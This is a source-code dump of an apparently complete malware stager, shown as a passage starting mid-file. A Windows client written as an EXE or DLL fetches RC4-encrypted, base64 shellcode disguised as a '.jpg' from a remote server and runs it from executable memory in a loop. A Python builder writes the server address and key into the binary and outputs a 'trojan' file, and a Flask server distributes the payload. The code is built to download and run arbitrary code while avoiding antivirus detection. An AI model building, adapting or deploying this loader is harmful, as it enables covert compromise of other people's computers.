((char_array_3[2] & 0xc0) >> 6); 43 | char_array_4[3] = char_array_3[2] & 0x3f; 44 | 45 | for (j = 0; (j < i + 1); j++) 46 | ret += base64_chars[char_array_4[j]]; 47 | 48 | while((i++ < 3)) 49 | ret += '='; 50 | 51 | } 52 | 53 | return ret; 54 | 55 | } 56 | 57 | std::string base64_decode(std::string const& encoded_string) { 58 | int in_len = encoded_string.size(); 59 | int i = 0; 60 | int j = 0; 61 | int in_ = 0; 62 | unsigned char char_array_4[4], char_array_3[3]; 63 | std::string ret; 64 | 65 | while (in_len-- && ( encoded_string[in_] != '=') && is_base64(encoded_string[in_])) { 66 | char_array_4[i++] = encoded_string[in_]; in_++; 67 | if (i ==4) { 68 | for (i = 0; i <4; i++) 69 | char_array_4[i] = base64_chars.find(char_array_4[i]); 70 | 71 | char_array_3[0] = (char_array_4[0] << 2) + ((char_array_4[1] & 0x30) >> 4); 72 | char_array_3[1] = ((char_array_4[1] & 0xf) << 4) + ((char_array_4[2] & 0x3c) >> 2); 73 | char_array_3[2] = ((char_array_4[2] & 0x3) << 6) + char_array_4[3]; 74 | 75 | for (i = 0; (i < 3); i++) 76 | ret += char_array_3[i]; 77 | i = 0; 78 | } 79 | } 80 | 81 | if (i) { 82 | for (j = i; j <4; j++) 83 | char_array_4[j] = 0; 84 | 85 | for (j = 0; j <4; j++) 86 | char_array_4[j] = base64_chars.find(char_array_4[j]); 87 | 88 | char_array_3[0] = (char_array_4[0] << 2) + ((char_array_4[1] & 0x30) >> 4); 89 | char_array_3[1] = ((char_array_4[1] & 0xf) << 4) + ((char_array_4[2] & 0x3c) >> 2); 90 | char_array_3[2] = ((char_array_4[2] & 0x3) << 6) + char_array_4[3]; 91 | 92 | for (j = 0; (j < i - 1); j++) ret += char_array_3[j]; 93 | } 94 | 95 | return ret; 96 | } -------------------------------------------------------------------------------- /client/b64/base64.h: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | std::string base64_encode(unsigned char const* , unsigned int len); 4 | std::string base64_decode(std::string const& s); -------------------------------------------------------------------------------- /client/http/EdUrlParser.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | * EdUrlParser.cpp 3 | * 4 | * Created on: Nov 25, 2014 5 | * Author: netmind 6 | */ 7 | 8 | #include "EdUrlParser.h" 9 | 10 | #define CHECK_LEN_END(POS, LEN) if(POS>=LEN) {_url_errorno=100;goto __PARSE_END;} 11 | #define WALK_SP(POS, LEN, BUF) for(;POS= len) 42 | goto __PARSE_END; 43 | if (buf[pos] == '%') { 44 | CHECK_REMAIN_END(pos, len, 3); 45 | try { 46 | char c = EdUrlParser::toChar(buf + pos + 1); 47 | decstr.push_back(c); 48 | pos += 3; 49 | per = pos; 50 | } catch (int err) { 51 | _url_errorno = err; 52 | goto __PARSE_END; 53 | } 54 | if (pos >= len) 55 | goto __PARSE_END; 56 | } else if (buf[pos] == '+') { 57 | decstr.push_back(' '); 58 | pos++; 59 | per = pos; 60 | } 61 | } 62 | __PARSE_END: if (_url_errorno != 0) 63 | return ""; 64 | return decstr; 65 | 66 | } 67 | 68 | string EdUrlParser::urlEncode(string s) { 69 | const char *ptr = s.c_str(); 70 | string enc; 71 | char c; 72 | char phex[3] = { '%' }; 73 | for (size_t i = 0; i < s.size(); i++) { 74 | c = ptr[i]; 75 | if ((c >= 'a' && c <= 'z') || (c >= 'A' && c <= 'Z') 76 | || (c >= '0' && c <= '9') || c == '_' || c == '-' || c == '*' 77 | || c == '.') { 78 | enc.push_back(c); 79 | } else if (c == ' ') { 80 | enc.push_back('+'); 81 | } else { 82 | toHex(phex + 1, c); 83 | enc.append(phex, 0, 3); 84 | } 85 | } 86 | return enc; 87 | } 88 | 89 | void EdUrlParser::toHex(char* desthex, char c) { 90 | static char hextable[16] = { '0', '1', '2', '3', '4', '5', '6', '7', '8', 91 | '9', 'A', 'B', 'C', 'D', 'E', 'F' }; 92 | desthex[0] = hextable[c >> 4]; 93 | desthex[1] = hextable[c & 0x0f]; 94 | } 95 | 96 | int EdUrlParser::parsePath(vector* folders, string pathstr) { 97 | int _url_errorno = 0; 98 | int path_pos = 0; 99 | size_t pos = 0; 100 | size_t len = pathstr.size(); 101 | const char* str = pathstr.c_str(); 102 | string name; 103 | for (pos = 0;;) { 104 | WALK_CHAR(pos, str, '/'); 105 | path_pos = pos; 106 | CHECK_LEN_END(pos, len); 107 | WALK_UNTIL(pos, len, str, '/'); 108 | name = pathstr.substr(path_pos, pos - path_pos); 109 | folders->push_back(name); 110 | } 111 | __PARSE_END: return folders->size(); 112 | } 113 | 114 | void EdUrlParser::parse() { 115 | int _url_errorno = 0; 116 | const char *str = mRawUrl.c_str(); 117 | 118 | size_t pos, len; 119 | int scheme_pos, host_pos, port_pos, path_pos, param_pos, tag_pos; 120 | pos = 0; 121 | len = mRawUrl.size(); 122 | WALK_SP(pos, len, str); // remove preceding spaces. 123 | if (str[pos] == '/') { 124 | goto __PARSE_HOST; 125 | } 126 | 127 | // start protocol scheme 128 | scheme_pos = pos; 129 | WALK_UNTIL(pos, len, str, ':'); 130 | CHECK_LEN_END(pos, len); 131 | scheme = mRawUrl.substr(scheme_pos, pos - scheme_pos); 132 | CHECK_REMAIN_END(pos, len, 3); 133 | WALK_CHAR(pos, str, ':'); 134 | WALK_CHAR(pos, str, '/'); 135 | 136 | // start host address 137 | __PARSE_HOST: 138 | WALK_CHAR(pos, str, '/'); 139 | host_pos = pos; 140 | WALK_UNTIL3(pos, len, str, ':', '/', '?'); 141 | if (pos < len) { 142 | hostName = mRawUrl.substr(host_pos, pos - host_pos); 143 | if (str[pos] == ':') 144 | goto __PARSE_PORT; 145 | if (str[pos] == '/') 146 | goto __PARSE_PATH; 147 | if (str[pos] == '?') 148 | goto __PARSE_PARAM; 149 | } else { 150 | hostName = mRawUrl.substr(host_pos, pos - host_pos); 151 | } 152 | 153 | __PARSE_PORT: 154 | WALK_CHAR(pos, str, ':'); 155 | port_pos = pos; 156 | WALK_UNTIL2(pos, len, str, '/', '?'); 157 | port = mRawUrl.substr(port_pos, pos - port_pos); 158 | CHECK_LEN_END(pos, len); 159 | if (str[pos] == '?') 160 | goto __PARSE_PARAM; 161 | __PARSE_PATH: path_pos = pos; 162 | WALK_UNTIL(pos, len, str, '?'); 163 | path = mRawUrl.substr(path_pos, pos - path_pos); 164 | CHECK_LEN_END(pos, len); 165 | __PARSE_PARAM: 166 | WALK_CHAR(pos, str, '?'); 167 | param_pos = pos; 168 | WALK_UNTIL(pos, len, str, '#'); 169 | query = mRawUrl.substr(param_pos, pos - param_pos); 170 | CHECK_LEN_END(pos, len); 171 | 172 | // start parsing fragment 173 | WALK_CHAR(pos, str, '#'); 174 | tag_pos = pos; 175 | fragment = mRawUrl.substr(tag_pos, len - tag_pos); 176 | __PARSE_END: return; 177 | } 178 | 179 | EdUrlParser* EdUrlParser::parseUrl(string urlstr) { 180 | EdUrlParser *url = new EdUrlParser; 181 | url->mRawUrl = urlstr; 182 | url->parse(); 183 | return url; 184 | } 185 | 186 | char EdUrlParser::toChar(const char* hex) { 187 | unsigned char nible[2]; 188 | unsigned char c, base; 189 | for (int i = 0; i < 2; i++) { 190 | c = hex[i]; 191 | if (c >= '0' && c <= '9') { 192 | base = '0'; 193 | } else if (c >= 'A' && c <= 'F') { 194 | base = 'A' - 10; 195 | } else if (c >= 'a' && c <= 'f') { 196 | base = 'a' - 10; 197 | } else { 198 | throw 200; 199 | } 200 | nible[i] = c - base; 201 | } 202 | return ((nible[0] << 4) | nible[1]); 203 | } 204 | 205 | size_t EdUrlParser::parseKeyValueMap(unordered_map *kvmap, string rawstr, bool strict) { 206 | return parseKeyValue(rawstr, __kv_callback_map, kvmap, strict); 207 | } 208 | 209 | size_t EdUrlParser::parseKeyValueList(vector< query_kv_t > *kvvec, string rawstr, bool strict) { 210 | return parseKeyValue(rawstr, __kv_callback_vec, kvvec, strict); 211 | } 212 | 213 | size_t EdUrlParser::parseKeyValue(string rawstr, __kv_callback kvcb, void* obj, bool strict) { 214 | 215 | int _url_errorno = 0; 216 | const char *str = rawstr.c_str(); 217 | size_t pos, len, item_len; 218 | pos = 0; 219 | len = rawstr.size(); 220 | 221 | string key, val; 222 | size_t key_pos; 223 | WALK_SP(pos, len, str); 224 | CHECK_LEN_END(pos, len); 225 | key_pos = pos; 226 | item_len = 0; 227 | for(;;) { 228 | WALK_UNTIL2(pos, len, str, '=', '&'); 229 | if(pos >= len || str[pos] == '&') { 230 | // Be careful for boundary check error to be caused. !!! 231 | // *** Do not access str[] any more in this block. !!! 232 | 233 | val = rawstr.substr(key_pos, pos-key_pos); 234 | 235 | if(strict == true) { 236 | if(key.empty() == false && val.empty()==false) { 237 | kvcb(obj, key, val); 238 | item_len++; 239 | } 240 | } else if(!(key.empty()==true && val.empty()==true)){ 241 | kvcb(obj, key, val); 242 | item_len++; 243 | } 244 | 245 | key.clear();val.clear(); 246 | if(pos >= len) goto __PARSE_END; 247 | pos++; 248 | key_pos = pos; 249 | } 250 | else if(str[pos] == '=') { 251 | key = rawstr.substr(key_pos, pos-key_pos); 252 | pos++; 253 | key_pos = pos; 254 | } 255 | } 256 | __PARSE_END: 257 | if(_url_errorno != 0 ) 258 | return -1; 259 | return item_len; 260 | } 261 | 262 | 263 | int __kv_callback_map(void* list, string k, string v) { 264 | auto *map = (unordered_map*)list; 265 | (*map)[k] = v; 266 | return map->size(); 267 | } 268 | 269 | int __kv_callback_vec(void* list, string k, string v) { 270 | auto *vec = (vector*)list; 271 | query_kv_t t ={k, v}; 272 | vec->push_back(t); 273 | return vec->size(); 274 | } 275 | -------------------------------------------------------------------------------- /client/http/EdUrlParser.h: -------------------------------------------------------------------------------- 1 | /* 2 | * EdUrlParser.h 3 | * 4 | * Created on: Nov 25, 2014 5 | * Author: netmind 6 | */ 7 | 8 | #ifndef EDURLPARSER_H_ 9 | #define EDURLPARSER_H_ 10 | 11 | #include 12 | #include 13 | #include 14 | #include 15 | 16 | using namespace std; 17 | 18 | typedef struct { 19 | string key; 20 | string val; 21 | } query_kv_t; 22 | 23 | typedef int (*__kv_callback)(void* list, string k, string v); 24 | 25 | class EdUrlParser { 26 | private: 27 | EdUrlParser(); 28 | public: 29 | virtual ~EdUrlParser(); 30 | static EdUrlParser* parseUrl(string urlstr); 31 | static int parsePath(vector *pdirlist, string pathstr); 32 | static string urlDecode(string str); 33 | static char toChar(const char* hex); 34 | static string urlEncode(string s); 35 | static void toHex(char *desthex, char c); 36 | static size_t parseKeyValueMap(unordered_map *kvmap, string str, bool strict=true); 37 | static size_t parseKeyValueList(vector< query_kv_t > *kvmap, string rawstr, bool strict=true); 38 | static size_t parseKeyValue(string rawstr, __kv_callback kvcb, void* obj, bool strict); 39 | 40 | private: 41 | void parse(); 42 | 43 | string mRawUrl; 44 | public: 45 | string scheme; 46 | string hostName; 47 | string port; 48 | string path; 49 | string query; 50 | string fragment; 51 | }; 52 | 53 | #endif /* EDURLPARSER_H_ */ 54 | -------------------------------------------------------------------------------- /client/payload.cpp: -------------------------------------------------------------------------------- 1 | //#pragma once 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | #include 9 | #include 10 | #include "b64/base64.h" 11 | 12 | #include 13 | #include 14 | #include "rc4/ARC4.h" 15 | #include "http/EdUrlParser.h" 16 | //#define CPPHTTPLIB_OPENSSL_SUPPORT 17 | 18 | //#include "http/httplib.h" 19 | 20 | #include "Md5/md5.h" 21 | 22 | #include 23 | #pragma comment(lib,"Winhttp.lib") 24 | #pragma comment(lib,"ws2_32.lib") 25 | 26 | 27 | //#include 28 | //data段可读写 29 | //#pragma comment(linker, "/section:.data,WE") 30 | //不显示窗口 31 | //#pragma comment(linker,"/subsystem:\"console\" /entry:\"mainCRTStartup\"") 32 | 33 | //#pragma comment(linker, "/INCREMENTAL:NO") 34 | typedef PVOID(*M) (DWORD, DWORD, DWORD, DWORD); 35 | 36 | 37 | char target[MAX_PATH] = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" 38 | "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" 39 | "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" 40 | "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" 41 | "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"; 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | const char obscure[] = "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"; 51 | 52 | typedef DWORD(WINAPI *CODE) (LPVOID lpParamter); 53 | char * shellcode = NULL; 54 | int shellcode_size = 0; 55 | 56 | std::string Request(std::string target, std::string path) { 57 | DWORD dwSize = 0; 58 | DWORD dwDownloaded = 0; 59 | LPSTR pszOutBuffer; 60 | BOOL bResults = FALSE; 61 | BOOL useSSL = FALSE; 62 | INTERNET_PORT port; 63 | HINTERNET hSession = NULL, 64 | hConnect = NULL, 65 | hRequest = NULL; 66 | std::string reqResult; 67 | 68 | EdUrlParser* url = EdUrlParser::parseUrl(target); 69 | 70 | std::string p = url->port; 71 | if (p.length() > 1) { 72 | 73 | //std::cout <

scheme == "https") { 78 | useSSL = TRUE; 79 | if (url->port == "") { 80 | port = 443; 81 | } 82 | } 83 | else { 84 | if (url->port == "") 85 | port = 80; 86 | } 87 | 88 | 89 | 90 | 91 | std::wstring h = std::wstring(url->hostName.begin(), url->hostName.end()); 92 | std::string strBasePath = url->path; 93 | char last = strBasePath.back(); 94 | if (strcmp(&last,"/")) { 95 | strBasePath += "/"; 96 | } 97 | strBasePath += path; 98 | std::cout << "request path:" << strBasePath <<" port:"<< port< 0); 184 | } 185 | 186 | 187 | // Report any errors. 188 | if (!bResults) 189 | return ""; 190 | 191 | // Close any open handles. 192 | if (hRequest) WinHttpCloseHandle(hRequest); 193 | if (hConnect) WinHttpCloseHandle(hConnect); 194 | if (hSession) WinHttpCloseHandle(hSession); 195 | std::cout << "response:" << reqResult << std::endl; 196 | return reqResult; 197 | } 198 | 199 | 200 | 201 | std::string GenerateUri() 202 | { 203 | time_t myt = time(NULL); 204 | int key = int(int(myt) / 100); 205 | std::string u = string(obscure) + std::to_string(key); 206 | return MD5_(u).toStr(); 207 | } 208 | bool GetShellCodeSize() 209 | { 210 | 211 | string res = Request(target,"my/get_size"); 212 | if (res=="")return false; 213 | shellcode_size = std::atoi(res.c_str()); 214 | shellcode = (char*)malloc(shellcode_size); 215 | if (shellcode != 0) { 216 | return true; 217 | } 218 | else { 219 | return false; 220 | } 221 | } 222 | 223 | std::string GetKey() 224 | { 225 | if (GetShellCodeSize() == false) { 226 | return ""; 227 | } 228 | 229 | 230 | string res = Request(target,GenerateUri()); 231 | return res; 232 | } 233 | void LoadShellCode(char *shellcode) 234 | { 235 | HMODULE hDllLib = LoadLibrary("Kernel32.dll"); 236 | FARPROC fpFun = GetProcAddress(hDllLib, "VirtualAlloc"); 237 | M VirtualAlloc_ = (M)*fpFun; 238 | 239 | void* p = NULL; 240 | p = VirtualAlloc_(NULL, shellcode_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); 241 | memcpy_s(p, shellcode_size, shellcode, shellcode_size); 242 | 243 | CODE code = (CODE)p; 244 | //code(); 245 | HANDLE hThread = CreateThread(NULL, 0, code, NULL, 0, NULL); 246 | WaitForSingleObject(hThread, INFINITE); 247 | CloseHandle(hThread); 248 | 249 | 250 | 251 | 252 | 253 | } 254 | 255 | void DecPayload() 256 | { 257 | std::string key = GetKey(); 258 | 259 | if (key == "")return; 260 | time_t myt = time(NULL); 261 | int filename = int(int(myt) / 100); 262 | std::string url = std::to_string(filename) + ".jpg"; 263 | 264 | string res = Request(target,url); 265 | if (res=="")return; 266 | std::string body = res; 267 | 268 | std::string payload = base64_decode(body); 269 | char * c_payload = (char *)malloc(shellcode_size); 270 | memcpy_s(c_payload, shellcode_size, payload.c_str(), shellcode_size); 271 | ARC4 rc4; 272 | if (key.length() == 0) { 273 | return; 274 | } 275 | rc4.setKey((unsigned char*)key.c_str(), key.length()); 276 | rc4.encrypt(c_payload, shellcode, shellcode_size); 277 | 278 | LoadShellCode(shellcode); 279 | } 280 | 281 | 282 | extern "C" _declspec(dllexport) void Invoke(); 283 | void Invoke() 284 | { 285 | 286 | Sleep(3000); 287 | while (true) { 288 | try { 289 | 290 | DecPayload(); 291 | Sleep(20000); 292 | } 293 | catch (const std::exception& e) 294 | { 295 | 296 | } 297 | 298 | } 299 | return ; 300 | 301 | } 302 | 303 | 304 | 305 | int main() 306 | { 307 | Invoke(); 308 | return 0; 309 | 310 | } 311 | int CALLBACK WinMain( 312 | _In_ HINSTANCE hInstance, 313 | _In_ HINSTANCE hPrevInstance, 314 | _In_ LPSTR lpCmdLine, 315 | _In_ int nCmdShow 316 | ) { 317 | Invoke(); 318 | return 0; 319 | } 320 | BOOL APIENTRY DllMain(HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) 321 | { 322 | switch (ul_reason_for_call) 323 | { 324 | case DLL_PROCESS_ATTACH: 325 | 326 | break; 327 | 328 | case DLL_PROCESS_DETACH: 329 | 330 | break; 331 | 332 | case DLL_THREAD_ATTACH: 333 | 334 | break; 335 | 336 | case DLL_THREAD_DETACH: 337 | 338 | break; 339 | } 340 | 341 | Invoke(); 342 | return (TRUE); 343 | 344 | } 345 | -------------------------------------------------------------------------------- /client/rc4/ARC4.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include "ARC4.h" 5 | #include 6 | 7 | using namespace std; 8 | 9 | void ARC4::prga(unsigned char * plaintext, unsigned char * cipher, int size) { 10 | for (int k = 0; k < size; k++) { 11 | prgaIndexA = (prgaIndexA + 1) % 256; 12 | prgaIndexB = (prgaIndexB + sbox[prgaIndexA]) % 256; 13 | swap(sbox, prgaIndexA, prgaIndexB); 14 | cipher[k] = sbox[(sbox[prgaIndexA] + sbox[prgaIndexB]) % 256] ^ plaintext[k]; 15 | } 16 | } 17 | 18 | void ARC4::prga(char * plaintext, char * cipher, int size) { 19 | prga((unsigned char *)plaintext, (unsigned char *)cipher, size); 20 | } 21 | 22 | void ARC4::encrypt(char * plaintext, char * ciphertext, int size) { 23 | prga(plaintext, ciphertext, size); 24 | } 25 | void ARC4::encrypt(unsigned char * plaintext, unsigned char * ciphertext, int size) { 26 | prga(plaintext, ciphertext, size); 27 | } 28 | ARC4::ARC4() { 29 | } 30 | void ARC4::swap(unsigned char data[], int i, int j) { 31 | unsigned char temp = data[i]; 32 | data[i] = data[j]; 33 | data[j] = temp; 34 | } 35 | void ARC4::ksa(unsigned char * key) { 36 | int j = 0; 37 | for (int i = 0; i < 256; i++) { 38 | j = (j + sbox[i] + key[i% sizeKey]) % 256; 39 | swap(sbox, i, j); 40 | } 41 | } 42 | void ARC4::setKey(unsigned char k[], int size) { 43 | prgaIndexA = 0; 44 | prgaIndexB = 0; 45 | sizeKey = size; 46 | for (int i = 0; i < 256; i++) { 47 | sbox[i] = (unsigned char)i; 48 | } 49 | ksa(k); 50 | } -------------------------------------------------------------------------------- /client/rc4/ARC4.h: -------------------------------------------------------------------------------- 1 | /* 2 | * ARC4.h 3 | * 4 | * Created on: Apr 6, 2016 5 | * Author: fabio 6 | */ 7 | #ifndef ARC4_H_ 8 | #define ARC4_H_ 9 | 10 | /** 11 | * RC4 Encryptor utility for decrypting Strings 12 | * @brief Utility to RC4 encrypt bytes 13 | */ 14 | class ARC4 { 15 | public: 16 | /** 17 | * Set/Reset the key use this method if you want to reuse the same ARC4 structure again 18 | * @param k the key 19 | * @param size the size of the key 20 | */ 21 | void setKey(unsigned char * k, int size); 22 | /** 23 | * Encrypts a string 24 | * @param in String to encrypt 25 | * @param out String to decrypt 26 | * @param size size of the key to encrypt 27 | */ 28 | void encrypt(unsigned char * in, unsigned char * out, int size); 29 | /** 30 | * Encrypts a string 31 | * @param in String to encrypt 32 | * @param out String to decrypt 33 | * @param size size of the key to encrypt 34 | */ 35 | void encrypt(char * in, char * out, int size); 36 | ARC4(); 37 | protected: 38 | void ksa(unsigned char * key); 39 | void swap(unsigned char data[], int i, int j); 40 | void prga(unsigned char * plaintext, unsigned char * cipher, int size); 41 | void prga(char * plaintext, char * cipher, int size); 42 | unsigned char sbox[256]; 43 | int sizeKey, prgaIndexA, prgaIndexB; 44 | }; 45 | 46 | 47 | 48 | #endif /* ARC4_H_ */ -------------------------------------------------------------------------------- /client/shellcode.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 15.0 23 | {AB028D91-627F-4D10-9D72-971419F3073C} 24 | shellcode 25 | 10.0 26 | purebin 27 | 28 | 29 | 30 | Application 31 | true 32 | v142 33 | MultiByte 34 | false 35 | 36 | 37 | DynamicLibrary 38 | false 39 | v142 40 | true 41 | MultiByte 42 | Static 43 | 44 | 45 | Application 46 | true 47 | v142 48 | MultiByte 49 | Static 50 | 51 | 52 | DynamicLibrary 53 | false 54 | v142 55 | true 56 | MultiByte 57 | Static 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | C:\Program Files\OpenSSL-Win64\include;$(IncludePath) 79 | C:\Program Files\OpenSSL-Win64\lib;$(LibraryPath) 80 | C:\Program Files\OpenSSL-Win64;$(ReferencePath) 81 | 82 | 83 | $(ReferencePath) 84 | $(LibraryPath) 85 | 86 | 87 | 88 | Level3 89 | Disabled 90 | true 91 | true 92 | 93 | 94 | Windows 95 | %(AdditionalLibraryDirectories) 96 | user32.lib;shell32.lib;kernel32.lib;advapi32.lib;%(AdditionalDependencies) 97 | 98 | 99 | 100 | 101 | Level3 102 | Disabled 103 | true 104 | true 105 | 106 | 107 | Windows 108 | user32.lib;shell32.lib;kernel32.lib;advapi32.lib;%(AdditionalDependencies) 109 | 110 | 111 | 112 | 113 | Level3 114 | Full 115 | true 116 | true 117 | true 118 | true 119 | MultiThreaded 120 | 121 | 122 | Windows 123 | true 124 | true 125 | advapi32.lib;Ws2_32.lib;%(AdditionalDependencies) 126 | 127 | 128 | 129 | 130 | Level3 131 | Full 132 | true 133 | true 134 | true 135 | true 136 | MultiThreaded 137 | 138 | 139 | Windows 140 | true 141 | true 142 | advapi32.lib;Ws2_32.lib;%(AdditionalDependencies) 143 | 144 | 145 | 146 | 147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | 155 | 156 | 157 | 158 | 159 | 160 | 161 | -------------------------------------------------------------------------------- /client/shellcode.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | 源文件 20 | 21 | 22 | 源文件 23 | 24 | 25 | 源文件 26 | 27 | 28 | 源文件 29 | 30 | 31 | 源文件 32 | 33 | 34 | 35 | 36 | 头文件 37 | 38 | 39 | 头文件 40 | 41 | 42 | 头文件 43 | 44 | 45 | 头文件 46 | 47 | 48 | -------------------------------------------------------------------------------- /generate.py: -------------------------------------------------------------------------------- 1 | # coding:utf-8 2 | import os 3 | txt = ''' 4 | _________.__ .__ .__ .___ _____ ___________. .__ 5 | / _____/| |__ ____ | | | | ____ ____ __| _/____ _/ ____\______ ____ _____ / __ \_ |__ |__| ____ 6 | \_____ \ | | \_/ __ \| | | | _/ ___\/ _ \ / __ |/ __ \ \ __\\_ __ \/ _ \ / \ \____ /| __ \| |/ __ \ 7 | / \| Y \ ___/| |_| |_\ \__( <_> ) /_/ \ ___/ | | | | \( <_> ) Y Y \ / / | \_\ \ \ ___/ 8 | /_______ /|___| /\___ >____/____/\___ >____/\____ |\___ > |__| |__| \____/|__|_| / /____/ |___ /__|\___ > 9 | \/ \/ \/ \/ \/ \/ \/ \/ \/ 10 | ''' 11 | print(txt) 12 | if os.path.isfile("server.py.default") is False: 13 | print("找不到server.py.default") 14 | exit() 15 | 16 | print("### 可用版本:") 17 | print("\t1. x86 EXE\n\t2. x86 DLL\n\t3. x64 EXE\n\t4. x64 DLL\n") 18 | 19 | a = input("请输入你要编译的序号:") 20 | if a == "1": 21 | b = "bin/x86.exe" 22 | elif a == "2": 23 | b = "bin/x86.dll" 24 | elif a == "3": 25 | b = "bin/x64.exe" 26 | elif a == "4": 27 | b = "bin/x64.dll" 28 | else: 29 | print("输入错误") 30 | exit() 31 | if os.path.isfile(b) is False: 32 | print("PAYLOAD:{}找不到,你确定编译了吗或者是不是呗杀软杀了".format(b)) 33 | exit() 34 | print("程序随后将会生成server.py和木马文件,server.py作为分发器,请填入待会儿server.py的分发地址") 35 | target = input("请输入你的payload下发地址(例如 https://example.com ),长度不超过255:") 36 | obs = input("请输入自定义密钥,长度不大于30:") 37 | x86_payload = 'buf_x64 = b"' + input("请输入x86payload:") + '"' 38 | x64_payload = 'buf_x86 = b"' + input("请输入x64payload:") + '"' 39 | source_py = open("server.py.default", "r").read() 40 | source_bin = open(b, "rb").read() 41 | source_py = source_py.replace('buf_x64 = b""', x64_payload) 42 | source_py = source_py.replace('buf_x86 = b""', x86_payload) 43 | source_py = source_py.replace('BBBBBBBBBBBBBBBBBBBBBBBBBBBBBB', obs) 44 | 45 | i = 0 46 | newberry = bytearray(source_bin) 47 | p = newberry.find(("A" * 255).encode()) 48 | for i2 in target: 49 | newberry[p + i] = ord(i2) 50 | i += 1 51 | newberry[p + i] = 0 52 | p2 = newberry.find(("B" * 30).encode()) 53 | i = 0 54 | for i3 in obs: 55 | newberry[p2 + i] = ord(i3) 56 | i += 1 57 | newberry[p2 + i] = 0 58 | 59 | 60 | f = open("server.py", "w") 61 | f.write(source_py) 62 | a = input("保存地址:") 63 | f2 = open(a, "wb") 64 | f2.write(newberry) 65 | print("写出server.py {} 成功".format(a)) 66 | -------------------------------------------------------------------------------- /server.py: -------------------------------------------------------------------------------- 1 | # coding:utf-8 2 | from arc4 import ARC4 3 | import base64 4 | import time 5 | from flask import * 6 | import hashlib 7 | 8 | import random 9 | import string 10 | app = Flask(__name__) 11 | buf_x64 = b"" 12 | buf_x64 = b"" 13 | obs = "asdasjasdnlkasdj[psgdakn[jF*(" 14 | keys = [int(time.time()), ''.join(random.sample(string.ascii_letters + string.digits, 32))] 15 | 16 | 17 | @app.route('/') 18 | def Center(key): 19 | if(request.headers["Accept-platform"] == "x86"): 20 | buf = buf_x86 21 | else: 22 | buf = buf_x64 23 | 24 | t = time.time() 25 | t = int(int(t) / 100) 26 | hl = hashlib.md5() 27 | hl.update((obs + str(t)).encode(encoding='utf-8')) 28 | md5 = hl.hexdigest() 29 | if key == md5: 30 | global keys 31 | print(int(time.time()), keys[0]) 32 | if int(time.time()) - keys[0] >= 10: 33 | salt = ''.join(random.sample(string.ascii_letters + string.digits, 32)) 34 | print(salt) 35 | keys[1] = salt 36 | keys[0] = int(time.time()) 37 | print(keys) 38 | return keys[1] 39 | elif key == str(int(int(time.time()) / 100)) + ".jpg": 40 | 41 | arc4 = ARC4(keys[1]) 42 | 43 | enc = arc4.encrypt(buf) 44 | b64 = base64.b64encode(enc) 45 | arc3 = ARC4(keys[1]) 46 | dec = arc3.decrypt(enc) 47 | return b64.decode() 48 | return "nothing" 49 | 50 | 51 | @app.route("/my/get_size") 52 | def size(): 53 | if(request.headers["Accept-platform"] == "x86"): 54 | buf = buf_x86 55 | else: 56 | buf = buf_x64 57 | 58 | return str(len(buf)) 59 | 60 | 61 | #encrypted = encrypt(buf, key) 62 | if __name__ == '__main__': 63 | app.run(host="0.0.0.0", port=83) 64 | -------------------------------------------------------------------------------- /server.py.default: -------------------------------------------------------------------------------- 1 | # coding:utf-8 2 | from arc4 import ARC4 3 | import base64 4 | import time 5 | from flask import * 6 | import hashlib 7 | 8 | import random 9 | import string 10 | app = Flask(__name__) 11 | buf_x64 = b"" 12 | buf_x86 = b"" 13 | obs = "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBB" 14 | keys = [int(time.time()), ''.join(random.sample(string.ascii_letters + string.digits, 32))] 15 | 16 | 17 | @app.route('/') 18 | def Center(key): 19 | if(request.headers["Accept-platform"] == "x86"): 20 | buf = buf_x86 21 | else: 22 | buf = buf_x64 23 | 24 | t = time.time() 25 | t = int(int(t) / 100) 26 | hl = hashlib.md5() 27 | hl.update((obs + str(t)).encode(encoding='utf-8')) 28 | md5 = hl.hexdigest() 29 | if key == md5: 30 | global keys 31 | print(int(time.time()), keys[0]) 32 | if int(time.time()) - keys[0] >= 10: 33 | salt = ''.join(random.sample(string.ascii_letters + string.digits, 32)) 34 | print(salt) 35 | keys[1] = salt 36 | keys[0] = int(time.time()) 37 | print(keys) 38 | return keys[1] 39 | elif key == str(int(int(time.time()) / 100)) + ".jpg": 40 | 41 | arc4 = ARC4(keys[1]) 42 | 43 | enc = arc4.encrypt(buf) 44 | b64 = base64.b64encode(enc) 45 | arc3 = ARC4(keys[1]) 46 | dec = arc3.decrypt(enc) 47 | return b64.decode() 